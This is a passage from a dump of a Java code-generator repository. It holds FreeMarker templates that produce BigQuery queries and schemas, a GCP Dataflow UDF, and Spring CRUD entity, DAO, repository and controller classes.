IsNull([__FK_stores]);\n\nDROP TABLE [${classInfo.className}];\nDROP TABLE RestConnectorMasterTable;\n\n//***************************\n//load from api data connection (wrap off)\nLIB CONNECT TO '${classInfo.tableName}_api';\n[${classInfo.className}]:\nSQL SELECT\n<#list classInfo.fieldList as fieldItem >\n    [${fieldItem.fieldName}] as [${fieldItem.fieldName}]<#if fieldItem_has_next>,</#if>\n</#list>\nFROM JSON(wrap off) \"${classInfo.className}\"\n//    WITH CONNECTION (\n//    Url \"https://localhost:8080/${classInfo.tableName}_api\",\n//    QUERY \"page\" \"1\",\n//    QUERY \"size\" \"100\",\n//    HTTPHEADER \"token\" \"123456\",\n//    BODY \"Post body here\")\n;\n\n//***************************\n//load from sql data connection\nLIB CONNECT TO '${classInfo.tableName}_db';\n\nSQL SELECT\n<#list classInfo.fieldList as fieldItem >\n    [${fieldItem.columnName}] as [${fieldItem.fieldName}]<#if fieldItem_has_next>,</#if>\n</#list>\nFROM\n     ${classInfo.tableName}\nWHERE\n     Create_Time > '2023-01-01 00:00:00';"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/cloud/bigquery.ftl",
    "content": "\nSELECT * FROM 'your_project.your_dataset.${tableName}' t\norder by t.id desc\nLIMIT 100\n;\n\nSELECT * FROM 'your_project.your_dataset.${tableName}_error_records' t\norder by t.timestamp desc\nLIMIT 100\n;\n\nbigquery table -> SCHEMA -> Edit as text , then input below text:\n[\n<#list classInfo.fieldList as fieldItem >\n    {\"name\":\"${fieldItem.columnName}\",type:\"STRING\",\"mode\":\"NULLABLE\",\"description\": \"${fieldItem.fieldName} - ${fieldItem.fieldComment}\"}<#if fieldItem_has_next>,</#if>\n</#list>\n]"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/cloud/dataflowjjs.ftl",
    "content": "/**\n* GCP - dataflow job jjs for [${classInfo.classComment} - ${classInfo.tableName}]\n* AUTHOR ${authorName}\n*\n* model.User-defined function (UDF) to transform events as part of a Dataflow template job.\n* upload to GCS and create dataflow job with this js file and method as 'process'\n* @param {string} inJson input Pub/Sub JSON message (stringified)\n* @return {string} outJson output JSON message (stringified)\n*/\nfunction process(inJson) {\n    //for local js debug\n    //var obj = JSON.parse(JSON.stringify(inJson));\n    //for online jjs\n    var obj = JSON.parse(inJson);\n    var includePubsubMessage = obj.data && obj.attributes;\n    var data = includePubsubMessage ? obj.data : obj;\n    //debug and show error if you need special logic\n    if(data.hasOwnProperty('show_error')){\n        throw new ERROR(\"show_error:\"+JSON.stringify(data))\n    }\n    // INSERT CUSTOM TRANSFORMATION LOGIC HERE\n    var tableObj= {};\n    tableObj.insert_time=new Date().toUTCString()\n<#list classInfo.fieldList as fieldItem >\n    tableObj.${fieldItem.columnName}=data.${fieldItem.fieldName}\n</#list>\n    return JSON.stringify(tableObj);\n}\n\n//field name = field name\n<#list classInfo.fieldList as fieldItem >\n    tableObj.${fieldItem.fieldName}=data.${fieldItem.fieldName}\n</#list>\n\n//column name = column name\n<#list classInfo.fieldList as fieldItem >\n    tableObj.${fieldItem.columnName}=data.${fieldItem.columnName}\n</#list>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/common-mapper/tkentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.*;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/common-mapper/tkmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport tk.mybatis.mapper.common.Mapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport ${packageName}.entity.${classInfo.className};\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className}> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/controller.ftl",
    "content": "package ${packageController};\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport ${packageModel}.${classInfo.className};\nimport ${packageService}.${classInfo.className}Service;\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Controller\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    */\n    @RequestMapping(\"/insert\")\n    @ResponseBody\n    public ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @RequestMapping(\"/delete\")\n    @ResponseBody\n    public ReturnT<String> delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    */\n    @RequestMapping(\"/update\")\n    @ResponseBody\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * Load查询\n    */\n    @RequestMapping(\"/load\")\n    @ResponseBody\n    public ${classInfo.className} load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 分页查询\n    */\n    @RequestMapping(\"/pageList\")\n    @ResponseBody\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/dao.ftl",
    "content": "package ${packageDao};\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.stereotype.Component;\nimport ${packageModel}.${classInfo.className};\n\nimport java.util.List;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Component\npublic interface ${classInfo.className}Dao {\n\n    /**\n    * 新增\n    */\n    public int insert(@Param(\"${classInfo.className?uncap_first}\") ${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public int delete(@Param(\"id\") int id);\n\n    /**\n    * 更新\n    */\n    public int update(@Param(\"${classInfo.className?uncap_first}\") ${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * Load查询\n    */\n    public ${classInfo.className} load(@Param(\"id\") int id);\n\n    /**\n    * 分页查询Data\n    */\n\tpublic List<${classInfo.className}> pageList(@Param(\"offset\") int offset,\n                                                 @Param(\"pagesize\") int pagesize);\n\n    /**\n    * 分页查询Count\n    */\n    public int pageListCount(@Param(\"offset\") int offset,\n                             @Param(\"pagesize\") int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/db-record/${classInfo.className}.java.ftl",
    "content": "package ${packageName};\n<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport lombok.Data;\nimport java.util.Date;\nimport java.util.List;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n</#if>\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Data<#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if><#if fieldItem.fieldClass=='Date'>\n    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\", timezone = \"GMT+8\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/db-record/${classInfo.className}Controller.java.ftl",
    "content": "package ${packageName};\n<#if isAutoImport?exists && isAutoImport==true>\nimport cn.hutool.core.bean.BeanUtil;\nimport com.google.common.collect.Maps;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    /**\n    * 新增或编辑\n    */\n    @RequestMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        ${classInfo.className} ${classInfo.className?uncap_first}One= Db.findBeanById(${classInfo.className}.class,${classInfo.className?uncap_first}.getId());\n        if(${classInfo.className?uncap_first}One!=null){\n            Db.updateBean(${classInfo.className?uncap_first});\n            return (\"编辑成功\");\n        }else{\n            Db.saveBean(${classInfo.className?uncap_first});\n            return (\"保存成功\");\n        }\n    }\n\n    /**\n    * 删除\n    */\n    @RequestMapping(\"/delete\")\n    public Object delete(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}One= Db.findBeanById(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}One!=null){\n            Db.deleteById(\"${classInfo.tableName}\",id);\n            return (\"删除成功\");\n        }else{\n            return (\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @RequestMapping(\"/find/{id}\")\n    public Object find(@PathVariable(value = \"id\") int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}One= Db.findBeanById(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}One!=null){\n            return (${classInfo.className?uncap_first}One);\n        }else{\n            return (\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @RequestMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first}) {\n        List<${classInfo.className}> datas = Db.findBeanList(${classInfo.className}.class,\"select * from ${classInfo.tableName}\");\n        return datas;\n    }\n\n    /**\n     * 分页查询\n     */\n    @RequestMapping(\"/page\")\n    public Object page(${classInfo.className} ${classInfo.className?uncap_first},\n                       @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                       @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n        Map params = BeanUtil.beanToMap(${classInfo.className?uncap_first},true,true);\n        Page<${classInfo.className}> page= Db.findBeanPages(${classInfo.className}.class,pageNumber,pageSize, params);\n        return (page);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jdbc-template-v1/jtdao.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface I${classInfo.className}DAO {\n\n    int add(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int delete(int id);\n\n    ${classInfo.className} findById(int id);\n\n    List<${classInfo.className}> findAllList(Map<String,Object> param);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jdbc-template-v1/jtdaoimpl.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.BeanPropertyRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic class ${classInfo.className}DaoImpl implements I${classInfo.className}Dao{\n\n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n\n    @Override\n    public int add(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"insert into ${classInfo.originTableName}  (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list></#if> ) values (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >?<#if fieldItem_has_next>,</#if></#list></#if> )\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()<#if fieldItem_has_next>,</#if></#list></#if>);\n    }\n\n    @Override\n    public int update(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"UPDATE  ${classInfo.originTableName}  SET <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${fieldItem.columnName}=?<#if fieldItem_has_next>,</#if></#if></#list></#if>\"\n        +\" where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}(),</#if></#list>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()</#if></#list>\n        </#if>);\n    }\n\n    @Override\n    public int delete(int id) {\n        return jdbcTemplate.update(\"DELETE from ${classInfo.originTableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",id);\n    }\n\n    @Override\n    public ${classInfo.className} findById(int id) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.originTableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\", new Object[]{id}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return  list.get(0);\n        }else{\n             return null;\n        }\n    }\n\n    @Override\n    public List<${classInfo.className}> findAllList(Map<String,Object> params) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.originTableName}\", new Object[]{}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return list;\n        }else{\n            return Collections.emptyList();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jdbctemplate/${classInfo.className}DaoImpl.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.BeanPropertyRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic class ${classInfo.className}DaoImpl implements I${classInfo.className}Dao{\n\n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n\n    @Override\n    public int add(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"insert into ${classInfo.tableName}  (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list></#if> ) values (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >?<#if fieldItem_has_next>,</#if></#list></#if> )\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()<#if fieldItem_has_next>,</#if></#list></#if>);\n    }\n\n    @Override\n    public int update(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"UPDATE  ${classInfo.tableName}  SET <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${fieldItem.columnName}=?<#if fieldItem_has_next>,</#if></#if></#list></#if>\"\n        +\" where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}(),</#if></#list>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()</#if></#list>\n        </#if>);\n    }\n\n    @Override\n    public int delete(int id) {\n        return jdbcTemplate.update(\"DELETE from ${classInfo.tableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",id);\n    }\n\n    @Override\n    public ${classInfo.className} findById(int id) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.tableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\", new Object[]{id}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return  list.get(0);\n        }else{\n             return null;\n        }\n    }\n\n    @Override\n    public List<${classInfo.className}> findAllList(Map<String,Object> params) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.tableName}\", new Object[]{}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return list;\n        }else{\n            return Collections.emptyList();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jdbctemplate/I${classInfo.className}DAO.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface I${classInfo.className}DAO {\n\n    int add(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int delete(int id);\n\n    ${classInfo.className} findById(int id);\n\n    List<${classInfo.className}> findAllList(Map<String,Object> param);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa/${classInfo.className}.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.tableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa/${classInfo.className}Controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            //创建匹配器，需要查询条件请修改此处代码\n            ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n            //创建实例\n            Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n            //分页构造\n            Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n            return ${classInfo.className?uncap_first}Repository.findAll(example, pageable);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa/${classInfo.className}Repository.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa-starp/starp-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n@Builder\n@AllArgsConstructor\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @ApiModelProperty(\"id\")\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n    private Integer id;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa-starp/starp-jpa-controller.ftl",
